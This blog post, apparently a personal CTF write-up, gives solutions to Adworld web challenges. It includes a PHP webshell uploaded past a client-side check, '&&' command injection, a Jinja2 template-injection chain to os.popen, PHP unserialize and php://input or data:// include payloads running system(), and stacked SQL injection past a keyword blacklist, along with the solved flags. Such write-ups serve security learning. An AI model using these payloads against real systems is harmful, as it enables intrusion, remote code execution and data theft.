Adworld Web Writeups 2

Coast23

NewsCenter

题目环境打不开, 暂时鸽.

upload1

查看源码, 发现存在前端校验.

function check() {
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./, '');

if (['jpg', 'png'].contains(ext)) {
submit.disabled = false;
} else {
submit.disabled = true;

alert('请选择一张图片文件上传!');
}
}

前端校验很好绕过, Burp Suite 抓包修改文件后缀即可.

PHP 一句话木马:

<?=eval($_POST['cmd']);?>

保存为 hack.jpg, 启动 Burp SUite.

打开 Proxy 栏的 Intercept 选项, 然后 Open browser.

上传文件的时候, 把文件名由 hack.jpg 改为 hack.php, 再 Forward.

显示: upload success : upload/1742228565.hack.php, 看来只有前端校验.

接下来用 菜刀 连接, 启动虚拟终端即可.

Flag 在 /var/www/html/flag.php 中.

(我第一次做的时候, 拿到的flag是 xctf{} 格式, 提交显示错误. 重新开了一个环境才过…)


xff_referer

exp:

import requests

url = "http://61.147.171.105:52452/"

resp = requests.get(
url = url,
headers = {
"x-forwarded-for": "123.123.123.123",
"referer" : "https://www.google.com"
}
)
resp.encoding = resp.apparent_encoding
print(resp.text) # 输出中就有 flag 了.

command_execution

通过 && 连接多个命令.

输入: 127.0.0.1 && find / -name "*flag*"

看到 /home/flag.txt, 知道这个就是 Flag 了.

再输入 127.0.0.1 && cat /home/flag.txt 即可得到 Flag.


web2

这是题目:

<?php
$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str)
{
$_o = strrev($str);
// echo $_o;

for ($_0 = 0; $_0 < strlen($_o); $_0++) {

$_c = substr($_o, $_0, 1);
$__ = ord($_c) + 1;
$_c = chr($__);
$_ = $_ . $_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/

简单的解密.

exp:

<?php
$miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str)
{
$_o = strrev($str);
// echo $_o;

for ($_0 = 0; $_0 < strlen($_o); $_0++) {

$_c = substr($_o, $_0, 1);
$__ = ord($_c) + 1;
$_c = chr($__);
$_ = $_ . $_c;
}
return str_rot13(strrev(base64_encode($_)));
}

function decode($str)
{
$_ = base64_decode(strrev(str_rot13($str)));
// echo $_;

for ($_0 = 0; $_0 < strlen($_); $_0++) {

$_c = substr($_, $_0, 1);
$__ = ord($_c) - 1;
$_c = chr($__);
$_o = $_o . $_c;
}
return strrev($_o);
}

$flag = decode($miwen);
echo $flag; # flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

Web_python_template_injection

访问 /index.html, 显示 URL http://61.147.171.105:57178/index.html not found.

盲猜 URL 处用了 Jinja2 模板引擎, 访问 /{{1+1}}, 显示 URL http://61.147.171.105:57178/2 not found, 猜测正确.

万能exp:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}

发现 fl4g, 修改上述代码 cat 一下即可.

Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}


Web_php_unserialize

<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
public function __destruct()
{
echo @highlight_file($this->file, true);
}
public function __wakeup()
{
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}

代码解释得很清楚了:

<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
}

$obj = new Demo('fl4g.php');

$str = serialize($obj);

echo $str, "\n";
# O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

# __wakeup 的绕过: 序列中的元素数多于实际元素即可绕过
# "Demo":1:{ -> "Demo":2:{
$str = str_replace(':1:', ':2:', $str);

# 需要绕过 `o:<数字>:` 可以加个"+".
# O:4:"Demo" -> O:+4:"Demo"
$str = str_replace('O:', 'O:+', $str);

echo base64_encode($str);
# TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
import requests

payload = "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

url = "http://61.147.171.105:58693/"

resp = requests.get(url, params={"var": payload})

print(resp.text) # 可以看到 flag

Flag: ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}


php_rce

不会


Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page = $_GET['page'];
while (strstr($page, "php://")) {
$page = str_replace("php://", "", $page);
}
include $page;

我有两种思路.

第一种, strstr是区分大小写的, 可以构造 PHP://input 来绕过.

import requests

url = "http://61.147.171.105:53803/?page=PHP://input"

resp = requests.post(url, data="<? system(\"ls\"); ?>")

print(resp.text)

'''
fl4gisisish3r3.php
index.php
phpinfo.php
'''

resp = requests.post(url, data="<? system(\"cat fl4gisisish3r3.php\"); ?>")

print(resp.text)

'''
<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>
'''

第二种, 除了 php:// 外, 还有其它的协议, 其中可以利用的就是 data://, 它会把用户的输入流当作 php 代码执行.

POC: data://text/plain;base64,<base64编码的php代码>

import requests
import base64

url = "http://61.147.171.105:53803/"

src1 = "<? system(\"ls\"); ?>"

resp = requests.get(
url + "?page=data://text/plain;base64," + base64.b64encode(src1.encode()).decode()
)
print(resp.text)

'''
fl4gisisish3r3.php
index.php
phpinfo.php
'''

src2 = "<? system(\"cat ./fl4gisisish3r3.php\"); ?>"

resp = requests.get(
url + "?page=data://text/plain;base64," + base64.b64encode(src2.encode()).decode()
)
print(resp.text)

'''
<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>
'''

supersqli

填入 1', 出现如下报错: error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1.

说明存在 SQL 注入漏洞.

sqlmap, 启动!

流程**

sqlmap 用法详见 sqlmap 用户手册

  • step #0: 安装. pip install sqlmap 即可.
  • step #1: 探测注入点. sqlmap -u <url>.
  • step #2: 查询当前数据库. sqlmap -u <url> --current-db. 或查询所有数据库. sqlmap -u <url> --dbs.
  • step #3: 查询数据库表. sqlmap -u <url> -D <数据库名> --tables.
  • step #4: 列出数据库表字段. sqlmap -u <url> -D <数据库名> -T <表名> --columns.
  • step #5: 打印数据库表字段内容. sqlmap -u <url> -D <数据库名> -T <表名> --dump.

或者一把梭:

sqlmap -u <url> -D -T -C --dump --batch --thread 10

然而, 我用 sqlmap 没有注出来…

看来只能手动注了.

先进行 order by 测试:

1' order by 2 # : 正常输出
1' order by 3 # : 报错

说明只有 2 列.

再试试 union 注入:

1' union select 1,database() # : return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 爆出了 WAF. 这下知道为什么 sqlmap 没有注出来了.

试试 堆叠注入:

1'; show databases # :

array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}

那就是简单的查表查字段了.

1' ;show tables from ctftraining # :

array(1) {
[0]=>
string(10) "FLAG_TABLE"
}

array(1) {
[0]=>
string(4) "news"
}

array(1) {
[0]=>
string(5) "users"
}

1' ;show columns from ctftraining.FLAG_TABLE # : 报 WAF, 因为 . 被 ban 了.

有点小难受, 但还是有办法.

1'; use ctftraining; show columns from FLAG_TABLE # :

array(6) {
[0]=>
string(11) "FLAG_COLUMN"
[1]=>
string(12) "varchar(128)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
string(8) "not_flag"
[5]=>
string(0) ""
}

一个一个查就对了.

最终, 输入 0'; show columns from1919810931114514#, 发现 flag 字段:

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

但是, select 被 ban 了, 要怎么获取字段中的数据呢?

我的做法是, 把 select 拆开来绕过黑名单. 这就要借助 MySQL 的 PREPARE 语句和 CONCAT 函数了.

POC:

1'; PREPARE hack from concat('s', 'elect', ' * from `1919810931114514`'); EXECUTE hack; #

Result:

array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}

Flag: flag{c168d583ed0d4d7196967b28cbd0b5e9}


  • 标题: Adworld Web Writeups 2
  • 作者: Coast23
  • 创建于 : 2025-03-18 00:14:54
  • 更新于 : 2025-03-31 18:12:58
  • 链接: https://coast23.github.io/2025/03/18/Adworld-Web-Writeups-2/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论